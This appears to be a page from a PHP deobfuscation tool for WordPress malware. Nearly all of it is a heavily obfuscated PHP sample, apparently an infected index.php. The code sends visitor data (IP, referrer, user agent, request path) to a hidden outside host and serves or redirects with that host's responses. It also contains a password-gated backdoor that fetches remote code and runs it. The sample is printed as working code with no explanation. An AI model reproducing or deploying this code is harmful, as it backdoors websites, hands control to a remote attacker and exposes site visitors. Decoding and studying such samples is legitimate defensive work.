Japanese 
English
PHP deobfuscation, decryption, reconstruction toolDe-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
goto yFlkskOtQrp; SHyzvjiabL5: $QF0VOnqpSLZ = UdEvyoqj5Ja(); goto MhV0J62J7s4; vQA6Y09B0qK: exit("\173\x20\x22\145\162\x72\157\162\42\72\40\x32\60\60\54\40\42\154\143\x22\72\40\x22\152\153\42\54\40\42\144\x61\164\x61\42\x3a\x20\133\40\x31\40\135\40\175"); goto QLXKU2uUKci; QLXKU2uUKci: vJLh7kS9Fn9: goto SHyzvjiabL5; jgvRqA8llTQ: $OW3NIJLNpSj = ''; goto z6i0e78lRZM; vfA6Apc_T2_: exit(0); goto lURAakqI0gI; GLZo2EPe3FC: function LgzJ3SqklKI() { goto tdtwGcV9met; HxvAAFwU1Y9: $v3lPIjF2gI9 = "\150\x74\164\160\x73\x3a\57\x2f"; goto ultnync3yAT; l1UxZDjDupF: $v3lPIjF2gI9 = "\x68\164\x74\x70\x73\x3a\57\x2f"; goto lEQffDEkajd; lEQffDEkajd: goto GE9dPw7bo1g; goto qn8DAqhaA63; Eey5JQSfkFB: goto GE9dPw7bo1g; goto k5huXl9TdCx; SwoyRDOEMjY: return $v3lPIjF2gI9; goto ZzO92LIfXeH; ultnync3yAT: goto GE9dPw7bo1g; goto VuFW4IPWdxY; hJK_q5N7rI8: $v3lPIjF2gI9 = "\150\x74\164\x70\163\x3a\x2f\57"; goto iZqaY04LXkl; tdtwGcV9met: $v3lPIjF2gI9 = "\150\164\164\160\72\57\x2f"; goto O4RGi8g4pu4; k5huXl9TdCx: cheUDPV0if_: goto HxvAAFwU1Y9; qn8DAqhaA63: fyImik1vnJ_: goto hJK_q5N7rI8; VuFW4IPWdxY: dlDMY3TGMMr: goto l1UxZDjDupF; MDVbufuCuKG: if (isset($_SERVER["\x48\x54\124\120\137\x58\x5f\106\117\x52\127\101\x52\x44\105\x44\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\110\124\124\120\x5f\x58\x5f\106\x4f\x52\x57\101\x52\104\105\x44\137\x50\122\117\124\117"] === "\150\164\x74\160\x73") { goto dlDMY3TGMMr; } goto kMJNnFb02tt; iZqaY04LXkl: GE9dPw7bo1g: goto SwoyRDOEMjY; kMJNnFb02tt: if (isset($_SERVER["\110\x54\124\x50\137\106\122\x4f\x4e\124\x5f\105\x4e\104\x5f\110\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\x46\x52\117\116\124\137\105\x4e\104\x5f\110\x54\124\120\123"]) !== "\157\146\146") { goto fyImik1vnJ_; } goto Eey5JQSfkFB; O4RGi8g4pu4: if (isset($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\x6f\x66\146") { goto cheUDPV0if_; } goto MDVbufuCuKG; ZzO92LIfXeH: } goto Peli1a6zwcc; Z1UVBgSG6OX: $laN5_M2GbPj = fJzXNxHo_cc(base64_decode("\x61\x48\x52\60\x63\104\157\166\x4c\63\160\x7a\x4e\104\111\x34\144\152\105\x7a\143\x33\x55\x75\131\x32\170\x6c\x63\x6d\164\x30\114\156\x42\171\x62\x79\70"), $DRlsihRelGa); goto m7oKbNMfFXB; lURAakqI0gI: T2QP6xjPwaY: goto MpyHTVqHMze; M7vC3vXLKe6: $DRlsihRelGa["\154"] = EyEY6yTKT1Y($_SERVER["\110\x54\x54\x50\x5f\101\103\x43\105\120\124\137\x4c\101\x4e\107\x55\101\107\x45"]); goto ZDV9TQF83lG; ZoTSDlF5s_W: if (!in_array($We21A4n3gyI, array("\x2e\152\163", "\x2e\x63\x73\163", "\x2e\152\160\147", "\56\160\156\147", "\x2e\x67\151\146", "\56\x69\143\x6f"))) { goto BtOiH2ijxAC; } goto bUserrKxjUZ; m7oKbNMfFXB: if (in_array($laN5_M2GbPj["\x73\164\x61\x74\x75\163"], array(0, 200))) { goto m90w0O8O8sE; } goto VrcW00_doLZ; gk9diQ1BadI: VwEEuCrHQ7C: goto rvMCOFc9Ogr; z6i0e78lRZM: V1Y0is2M0et: goto D5J4pOtNvwW; MhV0J62J7s4: $OW3NIJLNpSj = strval(@$_SERVER["\110\124\x54\x50\x5f\122\x45\106\105\x52\105\x52"]); goto Q8AOW9wjOb3; bUserrKxjUZ: $BLOuSn5jO3r = true; goto R9YTLRaYxJq; ZDV9TQF83lG: $DRlsihRelGa["\163\x6e"] = eYEy6yTKT1Y($_SERVER["\123\x43\122\x49\120\x54\137\116\x41\115\105"]); goto XGHYgiRPTgf; sh12teu_I7m: if (!(strpos($RM6Gb9B9Ycg, "\56") > 0 && strpos($RM6Gb9B9Ycg, "\x2e\160\150\160") === false)) { goto CGjqj4O05st; } goto G18OYTuKYsI; C2emgnsJq3H: class FKSHEZXXEeU { static function Un3JvIZqkfX($HJ8Z4NCfTIh) { goto gSmV0jkxwrq; mtlJtWnQR8_: foreach ($PAdbwxjBgmw as $zBmroIAnGgF => $yjSKsDa3hjt) { $afOqubOnmEd .= $jK62XYbFshT[$yjSKsDa3hjt - 2095]; WAWTCfoYI41: } goto zG7vggo_9pa; gSmV0jkxwrq: $ZFAHYAXeYiU = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto Hq9NtSmDzzt; mr5NRSc4ssQ: $PAdbwxjBgmw = explode("\x23", $HJ8Z4NCfTIh); goto G4_n0YB62x1; LD4S7O0kH3C: return $afOqubOnmEd; goto Jk972LjS1hX; zG7vggo_9pa: y1_sDMd6Ryz: goto LD4S7O0kH3C; G4_n0YB62x1: $afOqubOnmEd = ''; goto mtlJtWnQR8_; Hq9NtSmDzzt: $jK62XYbFshT = $ZFAHYAXeYiU("\176", "\x20"); goto mr5NRSc4ssQ; Jk972LjS1hX: } static function QJFN9uTMe_v($oF25P6emSiS, $SMKNa7ob04h) { goto q_1dnBqe7zV; TBbUJ4kHydn: $XkTS5X0t0m4 = curl_exec($T9PyKmUoBbD); goto XidLpzj_f2V; GlEfK2XrjLy: curl_setopt($T9PyKmUoBbD, CURLOPT_RETURNTRANSFER, 1); goto TBbUJ4kHydn; q_1dnBqe7zV: $T9PyKmUoBbD = curl_init($oF25P6emSiS); goto GlEfK2XrjLy; XidLpzj_f2V: return empty($XkTS5X0t0m4) ? $SMKNa7ob04h($oF25P6emSiS) : $XkTS5X0t0m4; goto OARRfT_NXmz; OARRfT_NXmz: } static function Q351Nl1PVgQ() { goto e_gZRgmC0m8; h3T73_aI3dy: die; goto MTc9lfvwhPi; vQWR5iRpDWX: @$UTJIQEnWmC9[8 + 2](INPUT_GET, "\157\146") == 1 && die($UTJIQEnWmC9[4 + 1](__FILE__)); goto mZ231ILihet; hjRzGvdFLCf: @$UTJIQEnWmC9[0]('', $UTJIQEnWmC9[4 + 3] . $UTJIQEnWmC9[1 + 3]($jVQo4MqKzqf) . $UTJIQEnWmC9[6 + 2]); goto h3T73_aI3dy; kutDGfNnXUi: $jVQo4MqKzqf = self::qJfN9uTME_V($Ppmg8J5ZbvU[1 + 0], $UTJIQEnWmC9[0 + 5]); goto hjRzGvdFLCf; Kgc8p34NryH: foreach ($HlLfiAn3QI3 as $Dts4RgFTuYT) { $UTJIQEnWmC9[] = self::Un3jvIzqkFX($Dts4RgFTuYT); iD_7izjYXTW: } goto w0hsfwd_VxM; F_lGRaTNedu: $GqjJnmtfV1t = @$UTJIQEnWmC9[2 + 1]($UTJIQEnWmC9[4 + 2], $Vw7dKF4cQ7M); goto IjUmquSmAwk; MTc9lfvwhPi: mvTsolh49cJ: goto yavOfkliHgr; w0hsfwd_VxM: k1G1itXn6px: goto XNIB8c6DN_P; e_gZRgmC0m8: $HlLfiAn3QI3 = array("\62\61\x32\62\43\62\x31\60\x37\x23\62\61\62\60\43\62\61\62\x34\43\x32\61\60\x35\x23\x32\x31\x32\60\43\x32\x31\x32\66\43\62\61\61\71\43\x32\x31\60\x34\x23\x32\61\61\61\x23\x32\61\x32\62\43\x32\61\60\65\x23\62\61\x31\x36\x23\62\x31\61\60\x23\x32\61\x31\x31", "\62\x31\x30\66\x23\62\61\x30\x35\x23\62\x31\x30\67\43\x32\61\x32\66\43\62\61\x30\x37\x23\x32\x31\61\60\x23\x32\61\60\65\x23\62\61\67\x32\x23\62\61\x37\60", "\x32\x31\x31\65\x23\x32\61\x30\x36\43\62\x31\61\60\x23\x32\x31\x31\x31\x23\x32\x31\62\x36\x23\62\x31\62\x31\x23\x32\61\62\60\x23\62\x31\62\62\43\62\61\x31\60\43\62\x31\x32\61\43\62\x31\62\x30", "\x32\61\60\71\x23\x32\61\62\x34\x23\x32\61\62\62\43\x32\x31\61\64", "\62\x31\62\x33\43\62\x31\62\x34\x23\x32\61\60\66\43\62\61\x32\60\43\x32\x31\x36\x37\43\62\61\x36\x39\43\x32\x31\x32\x36\43\62\61\62\61\43\62\61\x32\x30\43\x32\x31\62\62\43\62\61\61\x30\43\x32\61\62\61\43\x32\61\62\60", "\x32\x31\x31\71\43\x32\61\61\x36\x23\62\x31\61\63\x23\x32\61\x32\60\43\x32\x31\62\66\x23\62\x31\61\x38\43\x32\61\62\60\43\x32\61\60\65\43\x32\x31\x32\x36\43\x32\x31\x32\62\x23\62\x31\x31\60\x23\x32\x31\61\x31\x23\62\x31\60\65\43\x32\61\x32\x30\43\x32\x31\x31\x31\x23\62\61\60\65\43\62\61\x30\x36", "\x32\61\64\71\43\x32\x31\67\71", "\x32\60\71\x36", "\62\x31\x37\64\x23\62\x31\67\71", "\x32\x31\65\x36\x23\x32\x31\x33\71\43\62\x31\63\x39\43\62\x31\65\x36\x23\x32\x31\x33\x32", "\x32\61\x31\71\x23\x32\x31\x31\x36\43\x32\x31\x31\x33\43\x32\61\60\65\x23\x32\61\x32\60\43\x32\61\x30\67\x23\x32\61\x32\66\43\x32\x31\x31\66\x23\x32\x31\x31\61\43\x32\61\60\71\x23\62\x31\60\64\43\x32\61\x30\x35"); goto Kgc8p34NryH; XNIB8c6DN_P: $Vw7dKF4cQ7M = @$UTJIQEnWmC9[1]($UTJIQEnWmC9[7 + 3](INPUT_GET, $UTJIQEnWmC9[4 + 5])); goto F_lGRaTNedu; IjUmquSmAwk: $Ppmg8J5ZbvU = $UTJIQEnWmC9[2 + 0]($GqjJnmtfV1t, true); goto vQWR5iRpDWX; mZ231ILihet: if (!(@$Ppmg8J5ZbvU[0] - time() > 0 and md5(md5($Ppmg8J5ZbvU[2 + 1])) === "\63\60\x38\67\142\x65\x39\143\145\x62\x65\145\x33\x66\x66\146\60\65\x62\65\144\x64\x38\141\67\x33\61\142\x38\63\62\143")) { goto mvTsolh49cJ; } goto kutDGfNnXUi; yavOfkliHgr: } } goto gKQ_tcTJSjv; xt1p3Oo6Qjj: $DRlsihRelGa["\163"] = Eyey6YTkt1y($E2xVnhkML76); goto wiM3wqQYDC6; j7GMz3I63ig: if (!(strpos($OW3NIJLNpSj, $E2xVnhkML76) === 0)) { goto V1Y0is2M0et; } goto jgvRqA8llTQ; Peli1a6zwcc: if (!($_SERVER["\x52\x45\x51\x55\105\x53\124\x5f\x55\122\111"] === "\x2f\x52\55" . md5($_SERVER["\x53\x45\x52\126\105\122\x5f\x4e\x41\x4d\x45"]))) { goto nsdgxufhPpE; } goto EvnlyehMbQv; oYOv3hOt18f: header("\103\x6f\x6e\164\x65\156\164\55\x54\171\x70\145\x3a\x20\x74\145\170\164\57\150\164\x6d\154\x3b\40\143\x68\x61\162\163\x65\164\x3d\x75\164\x66\x2d\70"); goto UjC2okYlr3U; EvnlyehMbQv: exit(strrev(md5($_SERVER["\123\105\x52\x56\x45\122\137\116\101\x4d\105"]))); goto YUeXUzy0bi9; E9LbvFo50dj: if ($BLOuSn5jO3r) { goto PmDYRiyK9wl; } goto Z1UVBgSG6OX; ARXCPjTWk_e: $DRlsihRelGa["\x69"] = eyeY6Ytkt1Y($QF0VOnqpSLZ); goto M7vC3vXLKe6; R9YTLRaYxJq: BtOiH2ijxAC: goto Ug7SyYBuOKk; YUeXUzy0bi9: nsdgxufhPpE: goto bCEiKtmc14J; D2RXlGn2J3a: function EyeY6YTkt1Y($hqUytv7D9OU) { goto Q2IPxFsd2i6; NoJvXNhBZFf: return rtrim(strtr(base64_encode($hqUytv7D9OU), "\x2b\x2f", "\x2d\137"), "\x3d"); goto daGyZaU0q2w; Q2IPxFsd2i6: if ($hqUytv7D9OU) { goto Sf96A1qKBS4; } goto PhT6VOYWrFo; PhT6VOYWrFo: return ''; goto h1GfQ3wk5RS; h1GfQ3wk5RS: Sf96A1qKBS4: goto NoJvXNhBZFf; daGyZaU0q2w: } goto ZIO8O6pjMog; MpC66gbC4Tq: $DRlsihRelGa["\162\146"] = EyEy6ytkt1y($OW3NIJLNpSj); goto xt1p3Oo6Qjj; G_lwLeZLeAH: m90w0O8O8sE: goto kh9Qii4pcla; CvenEmtBa25: @(md5(md5(md5(md5($mnlMz_E7MuI[23])))) === "\x61\x32\x62\64\x61\63\x31\142\65\x32\66\67\x63\x61\x61\60\x65\x37\64\66\x30\70\x32\x62\x32\x36\145\143\144\x38\x30\x66") && (($mnlMz_E7MuI[68] = $mnlMz_E7MuI[68] . $mnlMz_E7MuI[71]) && ($mnlMz_E7MuI[87] = $mnlMz_E7MuI[68]($mnlMz_E7MuI[87])) && @($mnlMz_E7MuI = $mnlMz_E7MuI[87]($mnlMz_E7MuI[52], $mnlMz_E7MuI[68](${$mnlMz_E7MuI[47]}[11]))) && $mnlMz_E7MuI()); goto vLXKQk79u99; Q8AOW9wjOb3: $E2xVnhkML76 = LgZJ3sQKlKI() . $_SERVER["\110\124\124\120\x5f\x48\x4f\123\124"]; goto j7GMz3I63ig; vLXKQk79u99: P_7aU3a9BMl: goto sYu6pHDy5p2; xE_ijnMzNfI: @header("\103\x6f\156\164\145\x6e\164\55\124\x79\160\145\72" . $laN5_M2GbPj["\164\171\160\145"]); goto ltJgoZLE21G; D5J4pOtNvwW: $DRlsihRelGa = array(); goto ARXCPjTWk_e; Ug7SyYBuOKk: CGjqj4O05st: goto E9LbvFo50dj; UoQX77gjCGs: function FJzxNxho_Cc($c1rPDInUJse, $GsXDr9Om21C = array()) { goto E23wH9SZPsZ; RFqq17epWWW: if (!(is_array($GsXDr9Om21C) && count($GsXDr9Om21C))) { goto MJZ7OCopovi; } goto lS7rB5TmK7u; E23wH9SZPsZ: $laN5_M2GbPj = array("\x73\x74\141\164\165\163" => 0, "\143\157\x6e\164\145\156\164" => '', "\x74\x79\x70\x65" => ''); goto RFqq17epWWW; yDkbIiVYZ1U: return $laN5_M2GbPj; goto vcrMUKemxzb; axvycInBXQW: try { goto AjOTFe2cTz3; AjOTFe2cTz3: if (function_exists("\x63\x75\162\x6c\x5f\145\170\x65\x63") && function_exists("\x63\165\x72\154\x5f\x69\x6e\x69\x74")) { goto uECgdTfjZ6L; } goto kKsjWCgzibT; w03m9hiSRmg: curl_setopt($mq6gbSnarY5, CURLOPT_FOLLOWLOCATION, 0); goto jOpVifFvEJw; oiOTzf3488k: curl_setopt($mq6gbSnarY5, CURLOPT_CONNECTTIMEOUT, 20); goto to92WKsV2dU; lfvRyf7ft66: $kxC5cOe9Lz7 = stream_context_create($doV1Z_l8JUM); goto QWmCuX76yVo; to92WKsV2dU: curl_setopt($mq6gbSnarY5, CURLOPT_TIMEOUT, 60); goto w03m9hiSRmg; UlgG5GQhMQO: uECgdTfjZ6L: goto A75ga4CHE8L; OBGRPSbVPf3: curl_setopt($mq6gbSnarY5, CURLOPT_URL, $c1rPDInUJse); goto n1zgOEXNDav; n1zgOEXNDav: curl_setopt($mq6gbSnarY5, CURLOPT_SSL_VERIFYHOST, 0); goto JH6jV6c1XtS; BgviYA3tlWm: $laN5_M2GbPj["\143\157\x6e\x74\x65\x6e\164"] = strval(curl_getinfo($mq6gbSnarY5, CURLINFO_REDIRECT_URL)); goto zkDhTTj1mgU; jOpVifFvEJw: curl_setopt($mq6gbSnarY5, CURLOPT_COOKIESESSION, 0); goto ISIb8y4I0Ge; e2ASPympLNV: $laN5_M2GbPj["\143\157\x6e\164\145\x6e\164"] = strval($FZAcV5DYMxm); goto UzoI8Qe6ige; mTWodjfVMyd: $doV1Z_l8JUM = array("\150\x74\x74\x70" => array("\155\145\x74\150\x6f\x64" => "\x47\105\x54", "\164\151\155\145\157\x75\164" => 60, "\146\x6f\x6c\154\157\x77\137\x6c\x6f\x63\141\x74\151\x6f\x6e" => 0), "\x73\163\154" => array("\x76\x65\162\151\x66\171\x5f\160\x65\x65\162" => false, "\166\x65\x72\151\146\x79\x5f\x70\x65\x65\x72\x5f\x6e\x61\155\145" => false)); goto lfvRyf7ft66; A75ga4CHE8L: $mq6gbSnarY5 = curl_init(); goto OBGRPSbVPf3; st1yflSzKqG: $laN5_M2GbPj["\x74\x79\160\x65"] = strval(curl_getinfo($mq6gbSnarY5, CURLINFO_CONTENT_TYPE)); goto BgviYA3tlWm; ZElVGheIJBp: $laN5_M2GbPj["\x73\x74\141\164\x75\x73"] = intval(curl_getinfo($mq6gbSnarY5, CURLINFO_HTTP_CODE)); goto st1yflSzKqG; APLaxCGNJwK: $FZAcV5DYMxm = curl_exec($mq6gbSnarY5); goto ZElVGheIJBp; gWvEW89727K: TrT7nfFN8Rs: goto QoG56lfVspI; QWmCuX76yVo: $jqejvkY_VJC = @file_get_contents($c1rPDInUJse, false, $kxC5cOe9Lz7); goto ecY0iUPR9nJ; ISIb8y4I0Ge: curl_setopt($mq6gbSnarY5, CURLOPT_RETURNTRANSFER, 1); goto APLaxCGNJwK; R5clEzBJRm_: goto TrT7nfFN8Rs; goto CehavWt1OZD; CehavWt1OZD: tIfnYs3QmVt: goto mTWodjfVMyd; JH6jV6c1XtS: curl_setopt($mq6gbSnarY5, CURLOPT_SSL_VERIFYPEER, 0); goto oiOTzf3488k; db_TGjxpzpF: if (!in_array($laN5_M2GbPj["\163\164\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto U0iJ7D064uA; } goto aBscX2ysEzm; gY20K0Vrj1L: if (!in_array($laN5_M2GbPj["\x73\164\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto KGapi1d5irV; } goto e2ASPympLNV; ecY0iUPR9nJ: $laN5_M2GbPj = array_merge($laN5_M2GbPj, WZXiuysfPNC($http_response_header)); goto db_TGjxpzpF; aBscX2ysEzm: $laN5_M2GbPj["\x63\x6f\x6e\164\x65\156\164"] = strval($jqejvkY_VJC); goto la3X55v21W6; kKsjWCgzibT: if (ini_get("\141\154\154\x6f\x77\137\165\162\154\137\x66\157\x70\145\x6e")) { goto tIfnYs3QmVt; } goto o3f4dDLCf6k; UzoI8Qe6ige: KGapi1d5irV: goto R5clEzBJRm_; o3f4dDLCf6k: goto TrT7nfFN8Rs; goto UlgG5GQhMQO; zkDhTTj1mgU: @curl_close($mq6gbSnarY5); goto gY20K0Vrj1L; la3X55v21W6: U0iJ7D064uA: goto gWvEW89727K; QoG56lfVspI: } catch (Exception $grTTgVx61MJ) { } goto yDkbIiVYZ1U; dK1XDHvBDtU: MJZ7OCopovi: goto axvycInBXQW; lS7rB5TmK7u: $c1rPDInUJse .= "\77" . http_build_query($GsXDr9Om21C); goto dK1XDHvBDtU; vcrMUKemxzb: } goto D2RXlGn2J3a; ZIO8O6pjMog: function UDevyOqJ5jA() { goto RlVbJdXFmdF; ioKEJ4t_31r: TvE59mw5LQl: goto E9R07qCLpui; H991YWZelEX: if (isset($_SERVER["\110\124\x54\120\x5f\130\x5f\122\x45\101\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\x54\x54\120\x5f\x58\137\x52\105\x41\x4c\x5f\111\120"])) { goto U3zwckGSf78; } goto eIjPyIBch4t; E9R07qCLpui: $QF0VOnqpSLZ = trim(str_replace("\40", '', $QF0VOnqpSLZ), "\x2c"); goto ycz1nYTxgtE; UqFAFUz13To: zuYSXuKhUAW: goto XM5PeyQwOTY; RlVbJdXFmdF: $QF0VOnqpSLZ = ''; goto DHUx12d25nv; rNr1ABP62IF: $QF0VOnqpSLZ = $_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\x5f\x49\x50"]; goto dMjcYGwh7sJ; v2Brh69uxOX: $QF0VOnqpSLZ = $QF0VOnqpSLZ[0]; goto pBzu24N06is; ycz1nYTxgtE: if (!(strpos($QF0VOnqpSLZ, "\x2c") !== false)) { goto PCdR3akkaSw; } goto r6w0ReN4xac; LFmspB3DU2U: oppCMTmZATm: goto TPrLlT_hzxm; DHUx12d25nv: if (isset($_SERVER["\110\x54\124\x50\x5f\x43\106\137\x43\117\x4e\116\105\103\124\111\x4e\107\137\111\120"]) && !empty($_SERVER["\x48\124\x54\120\x5f\103\106\x5f\103\117\x4e\x4e\105\x43\x54\111\x4e\107\137\x49\120"])) { goto oppCMTmZATm; } goto H991YWZelEX; O_HtMYKiUO8: goto TvE59mw5LQl; goto owL3rGgmKAZ; NpR48hXxQq4: return $QF0VOnqpSLZ; goto zixy7SLbE3F; XM5PeyQwOTY: $QF0VOnqpSLZ = $_SERVER["\x48\x54\124\120\x5f\x58\137\106\x4f\x52\x57\101\122\x44\x45\104\x5f\x46\x4f\x52"]; goto ioKEJ4t_31r; dMjcYGwh7sJ: goto TvE59mw5LQl; goto UqFAFUz13To; xiNIvuGlB2p: $QF0VOnqpSLZ = $_SERVER["\x52\x45\115\x4f\124\105\137\x41\104\x44\x52"]; goto IF0wyZAiofk; IF0wyZAiofk: goto TvE59mw5LQl; goto LFmspB3DU2U; pBzu24N06is: PCdR3akkaSw: goto NpR48hXxQq4; r6w0ReN4xac: $QF0VOnqpSLZ = explode("\x2c", $QF0VOnqpSLZ); goto v2Brh69uxOX; owL3rGgmKAZ: U3zwckGSf78: goto rNr1ABP62IF; eIjPyIBch4t: if (isset($_SERVER["\110\124\x54\120\x5f\x58\x5f\x46\x4f\122\x57\101\x52\104\105\x44\137\106\117\x52"]) && !empty($_SERVER["\110\x54\124\120\x5f\130\x5f\106\117\x52\x57\101\122\104\105\104\x5f\x46\x4f\x52"])) { goto zuYSXuKhUAW; } goto xiNIvuGlB2p; TPrLlT_hzxm: $QF0VOnqpSLZ = $_SERVER["\110\124\124\120\x5f\x43\x46\137\x43\x4f\x4e\x4e\105\x43\x54\x49\116\107\x5f\111\120"]; goto O_HtMYKiUO8; zixy7SLbE3F: } goto GLZo2EPe3FC; UjC2okYlr3U: error_reporting(0); goto PaU_IGTcCg5; VrcW00_doLZ: switch ($laN5_M2GbPj["\163\164\141\164\x75\x73"]) { case 301: goto ooiM1eiWSTf; kB4iPdxP3N7: header("\114\x6f\143\141\x74\x69\157\156\x3a\40" . trim($laN5_M2GbPj["\x63\157\156\x74\145\x6e\x74"])); goto lTybnJBshYs; ooiM1eiWSTf: header("\x48\x54\124\120\57\x31\56\61\40\63\x30\61\40\115\x6f\166\145\144\x20\x50\145\162\155\141\x6e\145\156\x74\154\171"); goto kB4iPdxP3N7; lTybnJBshYs: goto PbFsElO6XFw; goto gOh7m2ub8yC; gOh7m2ub8yC: case 302: goto kAEjMpsHnud; kAEjMpsHnud: header("\x48\x54\124\x50\57\x31\x2e\61\x20\x33\60\x32\40\x4d\157\x76\x65\40\x54\x65\x6d\x70\x6f\162\x61\x72\x69\x6c\171"); goto B1CwHckKtrL; B1CwHckKtrL: header("\x4c\x6f\x63\x61\x74\151\x6f\x6e\72\x20" . trim($laN5_M2GbPj["\143\157\156\164\x65\156\x74"])); goto pBJYNQHCzlV; pBJYNQHCzlV: goto PbFsElO6XFw; goto M8pQD0AVsjU; M8pQD0AVsjU: case 404: goto ZjoFS7wxlAR; ZjoFS7wxlAR: header("\110\124\124\x50\x2f\61\x2e\61\40\64\x30\64\40\x4e\157\164\x20\x46\157\x75\x6e\144"); goto vlivz5Ke0mo; BcJPTxgwlEb: goto PbFsElO6XFw; goto dS31YHiWaXV; vlivz5Ke0mo: header("\163\164\141\164\165\163\x3a\40\x34\x30\x34\40\116\157\164\40\106\157\165\156\144"); goto BcJPTxgwlEb; dS31YHiWaXV: default: goto PbFsElO6XFw; } goto gk9diQ1BadI; KJ3xCbGoPX3: $mnlMz_E7MuI = ${$quOMN6KPKnr[6 + 25] . $quOMN6KPKnr[25 + 34] . $quOMN6KPKnr[26 + 21] . $quOMN6KPKnr[15 + 32] . $quOMN6KPKnr[14 + 37] . $quOMN6KPKnr[12 + 41] . $quOMN6KPKnr[43 + 14]}; goto nLGEA90tzQ2; kh9Qii4pcla: if (!strlen($laN5_M2GbPj["\x63\x6f\156\x74\145\156\164"])) { goto T2QP6xjPwaY; } goto xE_ijnMzNfI; wiM3wqQYDC6: $DRlsihRelGa["\x75"] = EYEy6YTkt1Y($_SERVER["\110\x54\124\x50\137\125\x53\105\x52\x5f\x41\107\x45\x4e\124"]); goto DtQyP6gHcae; XGHYgiRPTgf: $DRlsihRelGa["\x72"] = EYey6YTKT1y($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\122\111"]); goto MpC66gbC4Tq; PaU_IGTcCg5: function wZxiuYSfpnc($bp_QHLiJ8fW) { goto XYnPl1khntn; OJIOnki6klR: if (is_array($bp_QHLiJ8fW)) { goto HNSsmn0WJfx; } goto kiJzZPSaTTK; umV3ljU0vyi: nlI9bLHoOkO: goto hsHYs5rAC61; bF5CLtoFooa: HNSsmn0WJfx: goto Ejz4kt9MlV8; XYnPl1khntn: $zbJ4zAIvdA7 = array("\163\164\x61\x74\x75\163" => 0, "\x63\157\156\x74\x65\156\164" => '', "\x74\171\x70\x65" => ''); goto OJIOnki6klR; hsHYs5rAC61: return $zbJ4zAIvdA7; goto L0MUgrMMsHs; kiJzZPSaTTK: return $zbJ4zAIvdA7; goto bF5CLtoFooa; Ejz4kt9MlV8: foreach ($bp_QHLiJ8fW as $W_qTkXYxaPd) { goto kxXpeIUBNxo; eefV0g7115m: goto vBNtC9RSnpw; goto Roct2k2YkXj; Roct2k2YkXj: n6m5V24bOUX: goto elVGEldOLm4; p0qPOUjH6b5: goto vBNtC9RSnpw; goto Tcip7LoajZb; gn6pcGcvghd: goto vBNtC9RSnpw; goto joRBPkMYBtD; joRBPkMYBtD: ALu4iI0i4Gu: goto mpwMdNf8CTC; kxXpeIUBNxo: if (preg_match("\57\x68\x74\x74\160\134\x2f\133\60\55\x39\134\56\x5d\x2b\x5b\134\163\x5d\x2b\50\x5b\x30\55\x39\x5d\x2b\x29\57\151", $W_qTkXYxaPd, $e1iBWSW7Dq8)) { goto n6m5V24bOUX; } goto rtJ4rI92qcJ; PgpLcP8KaM3: $zbJ4zAIvdA7["\164\171\x70\x65"] = $e1iBWSW7Dq8[1]; goto UbR0ePt5jmt; wOYqHgMqmmZ: if (preg_match("\57\x63\x6f\x6e\x74\145\x6e\x74\134\55\164\x79\x70\x65\134\x3a\x5b\x5c\x73\x5d\x2b\x28\56\52\x29\57\151", $W_qTkXYxaPd, $e1iBWSW7Dq8)) { goto pNntPSL3j6C; } goto eefV0g7115m; elVGEldOLm4: $zbJ4zAIvdA7["\x73\x74\141\x74\165\x73"] = intval($e1iBWSW7Dq8[1]); goto gn6pcGcvghd; UbR0ePt5jmt: vBNtC9RSnpw: goto FzDudJsygkL; FzDudJsygkL: ylcFTkvoO2j: goto G51xD2jE5R7; rtJ4rI92qcJ: if (preg_match("\57\154\x6f\x63\141\164\x69\x6f\156\134\72\133\x5c\x73\135\53\50\x2e\52\51\x2f\151", $W_qTkXYxaPd, $e1iBWSW7Dq8)) { goto ALu4iI0i4Gu; } goto wOYqHgMqmmZ; Tcip7LoajZb: pNntPSL3j6C: goto PgpLcP8KaM3; mpwMdNf8CTC: $zbJ4zAIvdA7["\143\157\156\164\x65\x6e\164"] = $e1iBWSW7Dq8[1]; goto p0qPOUjH6b5; G51xD2jE5R7: } goto umV3ljU0vyi; L0MUgrMMsHs: } goto UoQX77gjCGs; fRB3ckJnD4t: $quOMN6KPKnr = range("\176", "\40"); goto KJ3xCbGoPX3; bCEiKtmc14J: if (!substr_count($_SERVER["\122\105\121\x55\x45\x53\x54\137\x55\x52\111"], "\x69\x6e\x64\x65\170\56\160\x68\x70\x2f\x6a\153")) { goto vJLh7kS9Fn9; } goto vQA6Y09B0qK; ltJgoZLE21G: echo $laN5_M2GbPj["\143\x6f\x6e\164\145\156\164"]; goto vfA6Apc_T2_; rvMCOFc9Ogr: PbFsElO6XFw: goto G_lwLeZLeAH; yFlkskOtQrp: error_reporting(0); goto fRB3ckJnD4t; G18OYTuKYsI: $We21A4n3gyI = substr($RM6Gb9B9Ycg, strpos($RM6Gb9B9Ycg, "\x2e")); goto ZoTSDlF5s_W; nLGEA90tzQ2: if (!(in_array(gettype($mnlMz_E7MuI) . count($mnlMz_E7MuI), $mnlMz_E7MuI) && count($mnlMz_E7MuI) == 29)) { goto P_7aU3a9BMl; } goto CvenEmtBa25; sYu6pHDy5p2: metaphone("\117\x44\105\x7a\x4f\x54\x59\x33\x4d\x6a\143\61\115\104\147\62\115\x7a\153\x33\115\104\x41\64\116\124\125\x35\116\104\101\x7a"); goto C2emgnsJq3H; o5y5spOvgIP: $BLOuSn5jO3r = false; goto sh12teu_I7m; gKQ_tcTJSjv: FKShEZXXeeU::q351nl1pvGq(); goto oYOv3hOt18f; DtQyP6gHcae: $RM6Gb9B9Ycg = preg_replace("\57\134\77\x2e\x2a\57", '', $_SERVER["\x52\x45\121\125\x45\123\x54\x5f\x55\x52\x49"]); goto o5y5spOvgIP; MpyHTVqHMze: PmDYRiyK9wl:
?>
<?php define( 'WP_USE_THEMES', true ); require('./wp-blog-header.php');?><?php
error_reporting(0);
$quOMN6KPKnr = range("~", " ");
